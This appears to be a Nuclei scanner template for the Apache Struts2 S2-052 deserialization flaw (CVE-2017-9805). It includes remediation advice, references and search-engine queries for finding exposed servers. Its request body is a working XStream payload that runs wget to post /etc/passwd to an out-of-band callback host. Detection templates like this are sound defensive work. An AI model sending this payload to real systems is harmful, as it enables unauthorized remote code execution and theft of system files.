2021-02-21 14:01:07 +00:00
id : CVE-2017-9805
info :
2022-04-21 21:16:41 +00:00
name : Apache Struts2 S2-052 - Remote Code Execution
2021-02-21 14:01:07 +00:00
author : pikpikcu
2021-09-10 11:26:40 +00:00
severity : high
2022-04-21 21:16:41 +00:00
description : The REST Plugin in Apache Struts 2.1.1 through 2.3.x before 2.3.34 and 2.5.x before 2.5.13 uses an XStreamHandler with an instance of XStream for deserialization without any type of filtering, which can lead to remote code execution when deserializing XML payloads.
2023-09-27 15:51:13 +00:00
impact : |
Remote code execution
2023-09-06 13:22:34 +00:00
remediation : |
Apply the latest security patches or upgrade to a non-vulnerable version of Apache Struts2.
2021-08-18 11:37:49 +00:00
reference :
2021-04-18 13:00:27 +00:00
- http://www.oracle.com/technetwork/security-advisory/alert-cve-2017-9805-3889403.html
- https://struts.apache.org/docs/s2-052.html
2022-04-21 21:16:41 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2017-9805
2023-07-11 19:49:27 +00:00
- http://www.securitytracker.com/id/1039263
2023-07-15 16:29:17 +00:00
- https://blogs.apache.org/foundation/entry/apache-struts-statement-on-equifax
2021-09-10 11:26:40 +00:00
classification :
cvss-metrics : CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
2022-04-22 10:38:41 +00:00
cvss-score : 8.1
2021-09-10 11:26:40 +00:00
cve-id : CVE-2017-9805
cwe-id : CWE-502
2024-03-23 09:28:19 +00:00
epss-score : 0.97541
2024-05-31 19:23:20 +00:00
epss-percentile : 0.99994
2023-09-06 13:22:34 +00:00
cpe : cpe:2.3:a:apache:struts:2.1.2:*:*:*:*:*:*:*
2023-04-28 08:11:21 +00:00
metadata :
max-request : 2
2023-07-11 19:49:27 +00:00
vendor : apache
product : struts
2024-06-07 10:04:29 +00:00
shodan-query :
- http.html:"apache struts"
- http.title:"struts2 showcase"
- http.html:"struts problem report"
fofa-query :
- body="struts problem report"
- title="struts2 showcase"
- body="apache struts"
2024-05-31 19:23:20 +00:00
google-query : intitle:"struts2 showcase"
2023-07-11 19:49:27 +00:00
tags : cve,cve2017,apache,rce,struts,kev
2021-02-21 14:01:07 +00:00
2023-04-27 04:28:59 +00:00
http :
2021-02-21 14:01:07 +00:00
- method : POST
path :
- "{{BaseURL}}/struts2-rest-showcase/orders/3"
2021-02-23 01:42:08 +00:00
- "{{BaseURL}}/orders/3"
2023-07-11 19:49:27 +00:00
2021-02-21 14:01:07 +00:00
body : |
2021-08-19 14:44:46 +00:00
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<initialized>false</initialized>
<opmode>0</opmode>
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
<string>wget</string>
<string>--post-file</string>
<string>/etc/passwd</string>
2022-03-21 20:17:31 +00:00
<string>{{interactsh-url}}</string>
2021-08-19 14:44:46 +00:00
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>asdasd</name>
</filter>
<next class="string">asdasd</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer></ibuffer>
<done>false</done>
<ostart>0</ostart>
<ofinish>0</ofinish>
<closed>false</closed>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
</entry>
<entry>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
</entry>
</map>
2021-02-21 14:01:07 +00:00
2023-07-11 19:49:27 +00:00
headers :
Content-Type : application/xml
2021-02-21 14:01:07 +00:00
matchers-condition : and
matchers :
- type : word
words :
- "Debugging information"
- "com.thoughtworks.xstream.converters.collections.MapConverter"
condition : and
- type : status
status :
- 500
2024-06-08 16:02:17 +00:00
# digest: 4a0a00473045022100bc5b27f8220ef07fafc0bfb8cb6b3da91db3cd7a60b59c5bc1c4a435b156d580022041740751cdbae48cd39a4854884b7229472bcc58b4eb972ba699f82a9bbd627d:922c64590222798bb761d5b6d8e72950